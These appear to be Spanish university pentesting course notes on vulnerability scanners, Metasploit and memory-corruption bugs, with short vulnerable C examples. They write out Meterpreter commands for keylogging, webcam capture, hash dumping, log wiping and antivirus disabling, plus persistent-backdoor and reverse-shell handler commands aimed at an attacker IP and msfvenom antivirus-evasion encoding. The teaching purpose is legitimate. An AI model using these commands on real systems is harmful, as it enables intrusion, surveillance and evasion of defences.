Tema 2

Vulnerabilidades
[2.1] ¿Cómo estudiar este tema?
[2.2] Análisis de vulnerabilidades
[2.3] Metasploit
[2.4] Tipos de vulnerabilidades
[2.5] Buffer Overflow
[2.6] Mecanismos de protección
2
TEMA
Vulnerabilidades
Esquema
Mecanismos de Tipos de Análisis de

Metasploit Buffer Overflow
TEMA 2 – Esquema
protección vulnerabilidades vulnerabilidades
Nessus Introducción Heap overflow Introducción a Programación

•Características •Use after free la arquitectura segura
•¿Qué es?
básica
•Funcionamiento •Herramientas •Dereference after
free •La CPU DEP
de uso
•Double free •Los registros
Stack Cookies
2
OpenVas •La memoria
Comandos
básicos •La pila
•Características Off-by-one
ASLR
•Funcionamiento PoC 1 (Linux)
Meterpreter Race Condition
•¿Qué es? PoC 2 (Windows)
Nexpose •Comandos Integer overflow
básicos
•Características Tipos de saltos
•Funcionamiento Format String
Backdooring Buffers pequeños
Buffer Overflow
Otras Otras formas de
herramientas salto
Fuzzers
© Universidad Internacional de La Rioja, S. A. (UNIR)

Análisis de Vulnerabilidades
Ideas clave
2.1. ¿Cómo estudiar este tema?
Para estudiar este tema lee las Ideas clave que se exponen a continuación.
Este segundo tema tratará del análisis de las vulnerabilidades así como su
explotación, utilizando diferentes pruebas de concepto (PoC), en las que se
demostrará paso a paso como aprovecharse de cierto tipo de vulnerabilidades para
tomar el control o ejecutar alguna acción en una máquina local o remota.
Empezaremos hablando del análisis de las vulnerabilidades dentro de la máquina

víctima. Para ello contaremos con diversas herramientas que realizarán la búsqueda y
análisis por nosotros. Estas herramientas serán Nessus, OpenVas y Nexpose. Son
herramientas web capaces de analizar máquinas mediante una dirección o rango de IP’s
(las cuales se habrán obtenido en la etapa anterior de footprinting y fingerprinting).
Después hablaremos de la herramienta estrella a la hora de realizar la fase de

explotación, Metasploit. Esta herramienta es una de las más usadas ya que cuenta con
múltiples funcionalidades como el lanzamiento y creación de exploits, escucha de
conexiones inversas, descubrimiento de vulnerabilidades…
Se explicarán los tipos de interfaces con las que se podrá trabajar con Metasploit,
centrándonos exclusivamente en el de línea de comandos. También se explicarán
sus principales comandos y funcionalidades.
Además se hablará de varias herramientas complementarias de Metasploit con las que

podremos generar payloads (la parte del código que queremos que se ejecute en la
máquina víctima para obtener beneficio, como ejecutar una shell o crear un usuario) y
ofuscarlos a los antivirus.
Tras esto se explicarán los diferentes tipos de vulnerabilidades que nos podremos
encontrar en aplicaciones y ejecutables (las vulnerabilidades web se verán en el tema
siguiente). Las principales vulnerabilidades son: Heap Overflow (desbordamiento
de pila), Buffer Overflow (desbordamiento de buffer), Off-By-One, Race condition,
Integer Overflow y Format String.
TEMA 2 – Ideas clave © Universidad Internacional de La Rioja, S. A. (UNIR)

3
Nos centraremos sobre todo en los desbordamientos de buffer, ya que son los más
comunes a día de hoy. Se explicará un poco de teoría básica de la arquitectura de los
computadores actuales, necesaria para entender el funcionamiento de esta
vulnerabilidad (partes fundamentales de un computador, lenguaje ensamblador e
instrucciones básicas de este, funcionamiento de las zonas de memoria y
funcionamiento de la pila).
Tras la explicación teórica de los desbordamientos de buffer se expondrán dos pruebas

de concepto con dos casos prácticos de esta vulnerabilidad. Una prueba de concepto es
una demostración práctica (no necesariamente paso a paso) de un método o idea con el
propósito de verificar que el concepto o teoría en cuestión es susceptible de ser
explotada de una manera útil.
La primera PoC será en un entorno Linux, con un ejecutable sencillo creado a propósito
con esta vulnerabilidad. Se podrá reproducir de nuevo siguiendo la explicación de la
PoC paso a paso utilizando solamente una máquina con Kali Linux.
La segunda PoC será en un entorno Windows con una aplicación real (aunque ya tenga
algunos años). Esta aplicación será vulnerable a un desbordamiento de buffer y se
explicará, también paso a paso, como generar un exploit portable de ella para que se
pueda reproducir. En este caso harán falta dos máquinas, una con Kali Linux y otra con
Windows XP.
Para estas pruebas de concepto también se explicarán los depuradores y sus

funciones básicas necesarias para ayudarnos en la explotación.
Tras las pruebas de concepto se explicarán otras formas de realizar los exploits vistos y
el caso concreto de hacer desbordamientos en buffers con tamaños reducidos. También
se tratarán rápidamente los fuzzers para realizar las tareas de descubrimiento de
desbordamientos de buffer.
Finalmente se explicarán los diferentes mecanismos de protección contra este tipo de

vulnerabilidades: para reducir su efecto si llegaran a comprometer el sistema, para
dificultar al atacante generar exploits o para incluso evitarlos.

4
2.2. Análisis de vulnerabilidades
Una vez hemos obtenido toda la información posible de la víctima, gracias al tema
anterior, nos dedicaremos a explotar las vulnerabilidades de su sistema para intentar
hacernos con el control de su máquina y los privilegios de administrador.
Primero, tendremos que descubrir qué aplicaciones o servicios de los que

tiene la víctima son vulnerables. Para ello, utilizaremos herramientas de escaneo
de vulnerabilidades; las más importantes son Nessus, OpenVas y Nexpose.
Las tres herramientas son multiplataforma (aunque alguna tenga restricciones de la

arquitectura del sistema) y con todas utilizaremos una interfaz gráfica, a la que nos
conectaremos a través del navegador, en la dirección localhost (127.0.0.1) y un puerto
específico para cada uno.
1. Nessus
Comenzaremos hablando de la más popular de todas, Nessus. Nessus es una

herramienta de escaneo de vulnerabilidades muy simple pero muy versátil y potente. Es
multiplataforma y tiene versiones gratuita y de pago. Nosotros utilizaremos la versión
gratuita que recibe actualizaciones cada semana (la de pago las recibe diariamente).
Para utilizarlo deberemos instalarlo primero: Lo haremos en Kali e iremos a la página:

http://www.tenable.com/products/nessus/select-your-operating-system.
Elegiremos Kali Linux y la versión que tengamos (32 o 64 bits). Después utilizaremos
los comandos:
> dpkg -i Nessus-5.2.1-debian6_i386.deb (o la versión que hayamos descargado)

para instalar el paquete.
> /etc/init.d/nessusd start para iniciar el servicio.
Finalmente iremos a la URL: https://localhost:8834 para acceder a la interfaz.

5
Figura 1. Interfaz de Nessus.
Para recibir actualizaciones necesitaremos un código que nos enviarán si nos

registramos en la página de Nessus: http://www.tenable.com/products/nessus/nessus-
plugins/obtain-an-activation-code
Para comenzar el escaneo haremos clic en la pestaña de New Scan.

Elegiremos el tipo de escaneo. Los más sencillos son: host discovery y basic network
scan. Con ellos obtendremos información general de los hosts que haya en nuestra
red y sus vulnerabilidades.
Le daremos un nombre al escaneo y elegiremos los objetivos. Podremos elegir una
única IP o un rango.
Si lo deseamos podremos incluir algún tipo de credencial de acceso al escaneo, para
que intente automáticamente acceder al servicio indicado con ellas.
Figura 2. Introducir credenciales de acceso.
Pulsaremos en Save y comenzará el escaneo.

6
Figura 3. Escaneos hechos o en proceso.
Figura 4. Resultado del escaneo.
En el ejemplo anterior se ha utilizado el escaneo de host discovery para analizar las

máquinas conectadas por cable Ethernet.
Figura 5. Resultado de las vulnerabilidades encontradas.
En este otro ejemplo vemos el escaneo basic network scan realizado sobre un Windows
XP SP3. Como se puede ver, Nessus ha encontrado una vulnerabilidad crítica en la
máquina que se puede explotar remotamente y dar acceso total al atacante. En el
próximo capítulo se verá este ataque.

7
Podremos también personalizar nuestros propios tipos de escaneo en la pestaña

Policies.
Nessus es una herramienta que facilita mucho el trabajo de la búsqueda de

vulnerabilidades al auditor. En la versión de pago incluye una funcionalidad que
permite lanzar un ataque sobre la víctima automáticamente al descubrir una
vulnerabilidad.
2. OpenVas
A causa de que Nessus se hiciera de pago, surgió OpenVas, herramienta que es igual de
potente que la anterior y como ventaja tiene que se actualiza diariamente. OpenVas
viene por defecto en la distribución Kali Linux.
Para iniciarla primero deberemos ir a: Aplicaciones > Kali Linux > Análisis de
vulnerabilidades > OpenVas > openvas initial setup. Esto arrancará la configuración
inicial descargando los plugins necesarios.
Figura 6. Inicio de OpenVas.
Tendremos que ingresar un usuario y contraseña para arrancar el servicio por primera
vez, el usuario por defecto es admin.
Nota: la primera vez que arranquemos la aplicación puede tardar un buen rato ya que
tiene que descargar toda la base de datos.

8
Al igual que Nessus tendremos que iniciar la aplicación y acceder mediante el

navegador a ella, en este caso será el puerto 9392: https://localhost:9392.
Figura 7: Interfaz de OpenVas.
Antes de nada, deberemos actualizar la base de datos y para ello iremos a la pestaña
administration > NVT Feed > Synchronise with Feed Now.
Una vez actualizado elegiremos un objetivo. Iremos a la pestaña Configuration >

Targets y pulsaremos el icono de la estrella blanca.
Figura 8. Nuevo objetivo.
Le daremos un nombre, una dirección IP y un rango de puertos para escanear.

9
Figura 9. Configuramos el objetivo.
Finalmente asignaremos una tarea para realizar en el objetivo. Para ello iremos a la
pestaña Scan Management > New Task. Seleccionaremos un tipo de escaneo a realizar
y el objetivo sobre el que realizarlo y le daremos un nombre también.
Podremos elegir el número de hilos que escanearán a la vez.
Figura 10. Configuración del escaneo.
3. Nexpose
La última herramienta para el escaneo de vulnerabilidades nos viene de los creadores

de Metasploit y es Nexpose. Al igual que las otras dos ya mencionadas, permite
escanear toda una red y a objetivos en particular mediante el entorno gráfico de
navegador.

10
Tiene una gran ventaja y es que si encuentra alguna vulnerabilidad, nos dirá además si
esta se encuentra en la base de datos de Metasploit. El único problema con esta
herramienta es que solo está para sistemas operativos Linux o Windows de 64 bits, por
lo que no podremos instalarlo en nuestra máquina Kali si hemos optado por usar la de
32 bits.
Para instalar esta herramienta descargaremos la versión comunnity para nuestro

sistema operativo, de la página oficial:
https://www.rapid7.com/products/nexpose/editions.jsp
Una vez instalado pondremos en nuestro navegador la URL: https://localhost:3780
Figura 11. Pantalla de inicio de nexpose.
Primero nos identificaremos y tendremos que definir el sistema a escanear. Para ello,
en la página principal pulsaremos en New Static Site.
A partir de ahí podremos definir el nombre del sistema a escanear, la/s dirección/es IP
que lo forman y el tipo de escaneo que vamos a llevar a cabo.
Figura 12. Pulsamos en new static site.

11
Desde la pantalla principal podremos visualizar todos los escaneos realizados y en

proceso. Al inicio estará vacío y deberemos crear un objetivo.
Figura 13. Creamos un objetivo.
En la pestaña General deberemos introducir el nombre y en la pestaña Assets

podremos introducir tantas direcciones IP como queramos o importar una lista desde
un archivo.
Figura 14. Configuramos el escaneo.
Elegiremos el tipo de escáner a realizar y lo configuraremos. Finalmente, en la pantalla

principal nos aparecerá el objetivo creado y pulsaremos el botón de Scan (con forma
circular) para comenzar el escaneo de vulnerabilidades.

12
Obtendremos la información de nuestro objetivo organizada según el riesgo de la

vulnerabilidad, y además podremos ver si existe un exploit en la base de datos de
Metasploit para dicha vulnerabilidad.
Figura 15. Resultado del escaneo.
2.3. Metasploit
Metasploit es una de las herramientas más potentes para el pentesting. Permite

desarrollar y ejecutar exploits contra una máquina remota, generar shellcodes e
interactuar con la máquina remota.
Un exploit es un programa de alto nivel que aprovecha una vulnerabilidad de

seguridad en un sistema informático para causar un fallo en este y
provocar comportamientos maliciosos, como obtener el control remoto de una
máquina o la obtención de privilegios no autorizados.
Una shellcode es un trozo de código en lenguaje ensamblador que tiene

como objetivo ejecutar una shell remota de la máquina de la víctima en la
máquina del atacante; este código va insertado en un exploit. Con esta shell el
atacante tendrá control total de la máquina de la víctima, que normalmente es el
objetivo de un ataque.

13
Metasploit cuenta con diferentes herramientas para su uso:
MsfConsole. Es una interfaz por consola, pero es la más usada ya que permite un
acceso a todas las funcionalidades de Metasploit. Es la que más juego y flexibilidad
da.
Figura 16. Interfaz de msfconsole.
Armitage. Una potente herramienta para manejar Metasploit pero utilizando

interfaz gráfica. No permite tantas funcionalidades como por línea de comandos.
Figura 17. Interfaz de Armitage.

14
MsfUpdate. Nos servirá para actualizar Metasploit.
Figura 18. Interfaz de msfupdate.
Todas estas herramientas estarán por defecto en Kali Linux. Nosotros utilizaremos
MsfConsole por su versatilidad. A continuación se explicarán sus diferentes funciones
y comandos:
show all ->Muestra todo.

show exploits -> Muestra los exploits.
show payload -> Muestra los payloads. Aquí encontraremos las diferentes
shellcodes. Un payload es el trozo de código que posee la función que queremos que
se ejecute en la máquina remota, como la ejecución de una shellcode, es decir, una
shellcode es un tipo de payload.
show auxiliary -> Muestra las herramientas auxiliares.
show encoders -> Muestra los algoritmos que se ejecutan sobre los payloads para
ocultarlos a los antivirus.
show options -> Muestra las diferentes opciones sobre un exploit.
Figura 19. Show options.

15
show advanced -> Igual que options pero opciones avanzadas.

info -> Nos mostrará información del exploit seleccionado.
search «palabra» -> Para buscar y acotar con la palabra. Si queremos hacer una
búsqueda más precisa podemos utilizar el parámetro «type»:
search type:exploit mp4
use «path_del_exploit» -> Para seleccionar un exploit.

set «opción» «valor_de_la_opcion» -> Definiremos las opciones requeridas
por los módulos de exploit, payload... Para ver estas opciones usaremos el comando
de show options ya mencionado.
Figura 20. Preparación y lanzamiento del exploit.
unset «opción» -> Elimina un parámetro previamente seleccionado con set.

exploit/run -> Ejecuta el exploit.
sessions -> Para interactuar con las máquinas explotadas.
back -> Permite volver atrás en los módulos.
jobs -> Muestra los trabajos activos.
kill -> Permite matar trabajos activos.
help -> Muestra la ayuda.
load/unload «plugin» -> Carga o descarga un plugin.
check -> Comprueba si el objetivo es vulnerable al exploit sin necesidad de lanzarlo
antes (no todos los exploits lo incluyen).
exit -> Sale de la aplicación.
MsfConsole permite ejecutar también algunos procesos de terceros como nmap, ping o
irb (un intérprete de comandos del lenguaje Ruby). Además, al pulsar el tabulador
mientras escribimos en la línea de comandos mostrará todas las posibilidades y
completará las palabras.

16
Hay dos tipos de exploits:

Los activos, aquellos que explotarán una máquina objetivo por fuerza bruta hasta
inyectar el payload o encontrar un error.
Los pasivos, que esperan a que una máquina víctima se conecte a la máquina host
para explotarlos (suelen ser por los navegadores o los clientes FTP).
Los payload más usados son la shell remota y el intérprete de comandos

Meterpreter. Este intérprete tiene muchas funciones y se caracteriza porque reside
totalmente en memoria RAM, para no dejar rastro en el disco duro ni crear nuevos
procesos. Meterpreter se inyecta en el proceso comprometido y puede migrar a otros
procesos en ejecución con facilidad y, además, utiliza comunicaciones cifradas entre la
víctima y el atacante.
Ya está incluido con Metasploit e incluye gran número de funcionalidades:
help -> Mostrará todos los comandos de Metasploit y una breve descripción,
podremos cargar plugins con funcionalidades extra usando el comando load
«plugin». También se mostrará la ayuda de estos plugins con el comando help una
vez se hayan cargado.
background -> Ejecuta a Meterpreter en segundo plano, se puede acceder a cada
una de las sesiones abiertas con el comando «sessions» visto antes.
ps -> Muestra los procesos activos.
sysinfo -> Muestra información del sistema en el que estamos.
getuid -> Muestra los permisos con los que contamos en la sesión actual.
getpid -> Indica el pid del proceso al que estamos conectados.
migrate -> Cuando explotamos una vulnerabilidad de software, si la víctima cierra
la aplicación perderemos la sesión, con este comando migraremos el proceso para
que esto no ocurra.
ipconfig -> Muestra las interfaces de red y las direcciones de la máquina remota.
idletime -> Muestra el tiempo de inactividad del usuario remoto.
pwd/ls/cd/mkdir/rm/rmdir -> Nos permiten movernos por los directorios de la
máquina remota y modificar archivos y carpetas.
run hashdump -> Obtendrá los hashes de las contraseñas del sistema.
upload/download -> Para subir y bajar archivos de la máquina remota.
screenshot -> Hace una captura de pantalla de la máquina víctima.
run vnc -> Devuelve una sesión gráfica del equipo remoto, pudiendo ver todas las
acciones del usuario.

17
keyscan -> Captura las pulsaciones del equipo remoto. Usaremos tres comandos:
keyscan_start/keyscan_dump/keyscan_stop.
load sniffer -> Cargará el plugin para poder capturar paquetes en la víctima.
Figura 21. Uso de plugins.
run webcam -> Activará la cámara en el equipo remoto y podremos verla en

directo. Usaremos webcam_list para obtener la lista de webcam conectadas y
webcam_snap para una captura.
run sound_recorder -> Permite capturar el audio.
clearev -> Borraremos todo el rastro que podamos dejar en la víctima.
timestomp -> Permite modificar la fecha de un archivo para ocultarlo.
run get_application_list -> Devuelve la lista de aplicaciones instaladas.
reg -> Permite acceder a los valores de los registros de Windows.
shell -> Obtendremos una shell en la máquina remota.
run killav -> Desactiva los módulos del antivirus del sistema remoto.
Meterpreter permite más funcionalidades aun, como mantener una conexión

persistente haciendo que la víctima, cada cierto tiempo, compruebe activamente si la
máquina del atacante está para conectarse a ella o crear una backdoor o puerta trasera,
para que el atacante pueda conectarse cuando desee.
Una backdoor o puerta trasera es una forma para el atacante de conectarse a la

máquina víctima. Puede hacerlo dejando un puerto de la máquina víctima abierto y
escuchando, a la espera de que la máquina atacante se conecte y obtenga todos los
privilegios y el control total de esta; o también creando un proceso en la máquina

18
víctima que cada cierto tiempo intente activamente conectarse a la máquina atacante,
siendo el atacante el que deba estar a la escucha.
Este tipo de funcionalidades no se debe usar a la ligera, ya que a la hora de hacer un

pentest no es conveniente dejar puertas traseras olvidadas y a la víctima no le hará
mucha gracia que puedas acceder siempre a su sistema; al contrario, querrá hacerse
más robusto ante cualquier tipo de ataque.
Utilizaremos el comando run metsvc para crear la puerta trasera y luego nos
conectaremos a ella con el manejador de exploits multi/handler y el payload
metsvc/reverse_bind_tcp.
Para quitar la puerta trasera ejecutaremos el comando run metsvc –r.
meterpreter > run metsvc

meterpreter > exit
msf > use multi/handler
msf > set payload metsvc/reverse_bind_tcp
msf > set lport 31337
msf > set rhost “ip de la víctima”
msf > exploit
Para realizar una backdoor persistente que intente conectarse al atacante de forma
activa utilizaremos la función «persistence».
run persistence –U –i “time” –p “puerto” –r “ip del atacante”
time => intervalo de tiempo que intentará conectarse en segundos.
Figura 22. Creación de persistencia.

Path del cleanup

19
Cuando creemos la conexión persistente nos dirá en que archivo de nuestra máquina se
encuentra el cleanup para borrar la conexión persistente. Para hacer esto usaremos el
comando:
run multi_console_command –rc “path del cleanup”
Para conectarnos será como antes, pero esta vez con el payload de meterpreter.
msf > use multi/handler

msf > set payload windows/meterpreter/reverse_tcp
msf > set lport 4444
msf > set lhost “ip del atacante”
msf > exploit
Metasploit también tiene herramientas para generar sus propios payloads o codificar
su código malicioso para que los antivirus no los detecten. Estas herramientas son:
msfpayload, msfencode y msfvenom (esta última unifica a las otras dos).
Msfpayload
A veces no podremos ejecutar un exploit remotamente para obtener una Shell. Por
ello, este módulo nos permitirá generar un payload personalizado para enviárselo a
la víctima. Esta herramienta ya es deprecated pero todas sus funcionalidades las
incluye la herramienta msfvenom.
Msfencode
Para poder evitar ser detectados por los antivirus, a veces tendremos que codificar
los ficheros infectados. Por ello, esta herramienta permite realizar diferentes
codificaciones, tantas veces como se deseen, para hacer pasar desapercibidos a estos
ficheros. También es deprecated y todas sus funcionalidades las incluye msfvenom.
Msfvenom
Esta herramienta es la evolución de las dos anteriores y las unifica en una
herramienta para facilitar la tarea de creación de payloads y su codificación.
Para mostrar la ayuda de la herramienta y sus diferentes opciones usar:
msfvenom –h.

20
Para crear únicamente el payload usaremos el comando:
msfvenom –p “payload” –f “formato” > “path para guardarlo”
Figura 23. Creamos el payload.
Nos creará un fichero que tendremos que enviar a la víctima por correo, por enlace
web, por algún dispositivo de almacenamiento externo… Nosotros pondremos nuestra
máquina a la escucha y, para ello, usaremos:
use multi/handler
Con set seleccionaremos el payload y las opciones necesarias de este. Cuando lancemos
el exploit se quedará a la escucha de que la máquina víctima abra el archivo infectado.
Figura 24. Lanzamos el handler a la espera de una conexión.
Podremos generar también un payload codificado con el comando:
msfvenom –p “payload” –f “formato” > “path para guardarlo” –e

“codificador” –i “numero de iteraciones a codificar”
Metasploit tiene también un módulo llamado auxiliary con multitud de plugins,

funcionalidades y herramientas extra.

21
Para saber más sobre este y otros módulos de Metasploit, mira los siguientes enlaces:
http://ns2.elhacker.net/TallerMetasploit2012.pdf
http://ns2.elhacker.net/timofonica/manuales/Manual_de_Metasploit_Unleashed.
pdf (Manual de Metasploit de Offensive Security en español)
http://www.offensive-security.com/metasploit-unleashed/Introduction (Manual de
Metasploit de Offensive Security en inglés)
También se podrá encontrar un pequeño vídeo tutorial en el aula virtual de un ataque a

un Windows XP mediante Metasploit.
Para iniciar Metasploit en Kali, haremos:
1. Iniciar la base de datos con el comando:
service postgresql start
2. Iniciar el servicio de Metasploit (tardará algo más la primera vez):
service metasploit start
3. Lanzar la consola (también tardará algo más la primera vez):
msfconsole
2.4. Tipos de vulnerabilidades
Desde los años 80 ya se conocen los errores de tipo buffer overflow y que hay ciertas
funciones en algunos lenguajes de programación que pueden llegar a provocar estos
fallos (como strcpy o get en C/C++). Pero aun así, a día de hoy, muchos desarrolladores
de software siguen utilizando estas y otras funciones con todo tipo de fallos generando
multitud de vulnerabilidades.
Muchos programadores no se preocupan al 100% por la seguridad del software que

hacen. Por ello podremos encontrar todo tipo de vulnerabilidades en aplicaciones y
sistemas operativos, todos ellos a causa de una mala programación.

22
Un alto porcentaje de parches y actualizaciones de software se dedican a cerrar estos

agujeros de seguridad provocados por un uso de funciones deprecated que ya no deben
usarse o por la entrada de parámetros mal controlada.
Hay diversos tipos de vulnerabilidades, algunas más peligrosas que otras. Unas pueden
llegar a causar denegación de servicio y otras ejecución de código remoto, pero que
pueden comprometer el sistema de una forma u otra.
Tipos de vulnerabilidades:
1 Heap Overflow
2 Off-By-One
3 Race condition
4 Integer Overflow
5 Format String
6 Buffer Overflow
Heap Overflow
Este tipo de vulnerabilidades es causado por un mal uso de la memoria dinámica de

un programa y las funciones que operan sobre ella, reservándola y liberándola, como
malloc o free (C/C++). Hay tres tipos de vulnerabilidades que pueden causar un
Heap Overflow:
o Use after free: ocurre cuando un programa continúa utilizando un puntero

después de que este haya sido liberado. Al liberar un puntero, lo único que se
hace es desasignar la memoria previamente asignada en un bloque, pero no
cambia la dirección a la que apunta.
Por ello, se puede utilizar la técnica de Heap Spraying, que consiste en llenar el
heap de NOPs y shellcodes, haciendo que cuando se acceda a este puntero tenga

23
más posibilidad de caer en la zona de NOPs y resbale hasta ejecutar la shellcode.

Puede provocar la ejecución de código arbitrario.
int *get_pointer(int *ant)

{
int *b = (int *)malloc(sizeof(int));
if (ant == NULL)
{
free(b); //liberamos b si ant es null
}
else
{
*b = *ant;
}
return b; //problema si ant es null
}
o Dereference after free: es un tipo concreto de use after free y ocurre cuando
intentamos acceder a memoria dinámica previamente liberada como
consecuencia de un free(). El término dereference se refiere a la acción, de
acceder a la variable a la que apunta el puntero en cuestión con el operador ‘*’.
o Double free: ocurre cuando se libera un puntero más de una vez (sin
reasignarse entre ambas liberaciones). Al hacer esta doble liberación se corrompe
la estructura de datos que gestiona la memoria y se podrían sobrescribir algunos
registros o valores en la estructura corrompida para alterar el flujo del programa
y ejecutar código arbitrario.
int * ab = (int*)malloc (SIZE);

...
if (c == 'EOF')
{
free(ab); //Liberamos la primera vez
}
...
free(ab); //Volvemos a liberar
Off-By-One
Este tipo de vulnerabilidades tienen su origen en el cálculo o en el uso incorrecto de

un valor que realmente es inferior o superior en 1 al valor esperado. Normalmente,
por una mala interpretación del programador a la hora de contar o acceder a
secuencias de datos, por ejemplo, cuando no se considera el valor de posición 0
(cero) en un array o cuando se itera en un bucle más allá del número esperado de
veces.

24
Generalmente, las consecuencias de este tipo de error acaban en un crash de la

aplicación, aunque pueden ser aprovechadas para ejecutar código o eludir
restricciones de seguridad en el equipo vulnerable.
int crash (char *param)
{
char st[64];
if ( strlen(param) > 64 )
{
printf(“Argumento demasiado largo”);
exit(0);
}
strcpy(st, param); //La función strcpy siempre añade ‘\0’

al final de la cadena,
return 0; //si param tiene tamaño 64 este
carácter sobrescribirá otra
} //zona de memoria
Race condition
Los errores generados por una condición de carrera son producidos por el cambio
que experimenta el estado de un recurso (fichero, memoria, registros…) desde que se
comprueba su valor hasta que el recurso es utilizado. Se convierten en una
vulnerabilidad si el atacante puede influir en este cambio de estado entre la
comprobación y uso. Generalmente, este tipo de problemas suelen darse bien por la
interacción entre hilos en un proceso multihilo o bien por la concurrencia de otros
procesos ajenos al proceso vulnerable.
El ejemplo más común es un proceso que modifica un archivo; para ello comprueba
si un usuario tiene permiso para escribir y si lo tiene, lo abre y permite modificarlo;
si un usuario creara otro proceso que se ejecutara simultáneamente a este y que
cambiara el valor del archivo a modificar, con un enlace simbólico por ejemplo,
podría modificar el archivo aunque no tuviera permisos necesarios.
if(!access(file,W_OK)) //1. Comprueba el acceso al archivo

{
fich = fopen(file,”W+”); //2. Abre el archivo
modificar_fichero(fich);
} //El proceso llega a 1 y tiene
permiso. Pierde la
else //CPU y el otro proceso modifica el
nombre
{ //del archivo. El primer proceso al
tomar la CPU

25
fprint(stderr,”Sin permiso”); //de nuevo llegará a 2, no comprobará

de nuevo
} //si tiene permiso y abrirá el archivo
Integer Overflow
Los desbordamientos de entero suceden cuando se intenta almacenar un valor

numérico demasiado grande en una variable en la que no quepa (suelen ser int o
unsigned int), generando valores negativos, valores menores… El problema se da
cuando este valor es resultado de algún valor introducido por el usuario y se utiliza
para tomar decisiones de seguridad, para hacer asignaciones de memoria, como
índice de arrays, para contador de bucles…
Normalmente, genera denegación de servicio en las aplicaciones o servicios que

lleven esta vulnerabilidad, pero en algunos casos puede dar lugar a ejecución
arbitraria de código.
unsigned int x = 0xffffffff; //x tiene el mayor valor de un

unsigned int
unsigned int y = 0x5;
unsigned int z = x + y; //Desbordamiento de entero
//z = (x+y) mod (tamaño unsigned int)
//z = (x+y) mod 0x100000000 = 0x100000004 mod 0x100000000 = 0x4
Format String
En algunos lenguajes como C, es necesario para las funciones que imprimen por
pantalla que se indique el tipo de dato que se quiere imprimir (mediante ‘%d’,
‘%c’…). Este tipo de vulnerabilidad se da cuando el programador no define el
formato de los datos que se van a imprimir, permitiendo al atacante dar el formato a
su antojo y provocando que la función devuelva los valores que hay en la pila hasta
que se llegue a una zona que no tiene acceso y el programa acabe su ejecución.
Además con la secuencia ‘%n’ se puede sobrescribir cualquier posición de memoria.

Por ello este tipo de vulnerabilidad puede provocar tanto fugas de información,
como denegación de servicio, como ejecución de código arbitrario.

26
#include <stdio.h>
int main(void)
{
char texto[30];
int a = 1;
int b = 2;
int c = 3;
scanf(“%29s”, texto);
printf(texto); //No da formato al texto leído
para imprimirlo
return 0;
}
$ ./vulnerable //Ejecutamos el programa

%x_%x_%x_%x_%x_%x_%x_%x … _%x //Introducimos el valor del formato
*** stack smashing detected ***: ./vulnerable terminated ... //El
programa crashea
bffff518_bffff508_8048378_b7ff1030_8049ff4_bffff538_3_2_1_255f7825 Aborted
//Obtenemos los datos de la pila como valores y direcciones
Buffer Overflow
Este tipo de vulnerabilidad se produce cuando se copia cierta cantidad de datos

sobre un área que no es lo suficientemente grande para contenerlos, sobrescribiendo
de esta manera otras zonas de memoria. Esto se debe, en general, a un fallo de
programación, por la incorrecta validación de los límites de un array o por la
ausencia de ella.
//overflow.c
int main ()
{
char strl [10] ; //Declaramos una variable con tamaño de 10
caracteres (bytes)
//a continuación, copiamos 35 bytes de "A" a
strl
strcpy (strl, " AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
}
Normalmente la sobrescritura de valores se da en la zona de la pila. Esta

vulnerabilidad puede provocar tanto denegación de servicio como ejecución de
código arbitrario. Las vulnerabilidades Off-By-One, vistas antes, son un tipo de
desbordamiento de buffer.

27
2.5. Buffer Overflow
Las vulnerabilidades de desbordamiento de buffer o buffer overflow son las más

comunes que nos podemos encontrar, según el Instituto Nacional de Estándares y
Tecnologías de EE.UU. (NIST, Nacional Institute of Standards and Technology). En
2011, entre un 12% y un 11% de todas las vulnerabilidades encontradas ese año fueron
de este tipo.
Figura 25. Estadística de vulnerabilidades reportadas en 2011.

Fuente: www.incibe.es
En este capítulo se explicará con detalle el funcionamiento de este tipo de

vulnerabilidades, así como herramientas y procedimientos para explotarlos.
Como ya se ha dicho, un desbordamiento de buffer ocurre cuando se copia cierta

cantidad de datos sobre un área que no es lo suficientemente grande para contenerlos,
sobrescribiendo de esta manera otras zonas de memoria, pudiendo alterar el flujo de un
proceso.
Pero… ¿Qué son estas zonas? ¿Qué es y cómo funciona el flujo de un proceso? Para
poder responder a estas preguntas, y antes de comenzar con la explicación del
funcionamiento y la explotación de los desbordamientos de buffer, se va a hacer una
pequeña introducción/repaso a la arquitectura básica de un computador.

28
Introducción a la arquitectura básica
Un computador actual tiene tres componentes básicos:
La memoria principal se usa para almacenar los datos y el código de los

programas en ejecución. La CPU accederá a ella para leer las instrucciones a realizar
y para leer y escribir datos. Está dividida en diferentes zonas para cada proceso, con
diferentes permisos, para evitar que los procesos accedan a zonas que no les
correspondan o se modifique el flujo del programa. Acceder a ella es lento.
Figura 26. Arquitectura de un computador.
La ALU o unidad aritmético-lógica se encargará de realizar las operaciones

lógicas (AND, OR…) o matemáticas (sumar, restar…) que le indique la CPU. Posee
un banco de registros que se usará para almacenar temporalmente datos de los
procesos y aumentar la velocidad de las operaciones, ya que el acceso a estos
registros será mucho más rápido que a la memoria principal.
La CPU o procesador, se encargará de leer las instrucciones de cada proceso y

ejecutarlas, coordinará a los otros dos componentes (memoria y unidad aritmético-
lógica). Posee un registro llamado contador de programa o puntero de instrucción
(CP/IP) que almacenará la dirección de la próxima instrucción a ejecutar.
La CPU deberá realizar una serie de acciones para leer y ejecutar cada una de las
instrucciones, dividiéndose en diferentes fases.

29
Estas son:
o Fase de búsqueda o de fetch (IF). La CPU lee de memoria principal la

instrucción apuntada por el contador de programa (CP).
o Fase de decodificación (ID). La CPU decodifica la instrucción, actualiza el
CP y lee los operandos necesarios de memoria, de un registro o inmediatos.
o Fase de ejecución (EX). La CPU manda los operandos a la ALU y creará las
señales de control necesarias para que esta realice la operación necesaria.
o Fase de escritura o write-back (WB). Se guardan los valores de los
registros en memoria principal.
Cuando acaba la última fase se vuelve de nuevo a la primera, creando un ciclo

indefinido.
El banco de registros será un conjunto de variables de memoria de alta velocidad

que nos permitirán almacenar datos y direcciones de memoria. En la arquitectura de
x86 (32 bits) el banco de registros se compone de 8 registros de propósito general, un
registro de flags, un puntero de instrucción y los segmentos de memoria.
Los registros de propósito general son:

EAX, EBX, ECX y EDX: registros de 32 bits para operaciones aritméticas. Se
pueden subdividir a 16 bits (AX, BX…) y estos a su vez en 8 bits (AL, AH…).
ESI, EDI, EBP, ESP: registros de dirección de 32 bits, se pueden subdividir en 16
bits (SI, DI…). Aunque sean de propósito general suelen tener una función
específica:
o ESI: Dirección de origen.
o EDI: Dirección de destino.
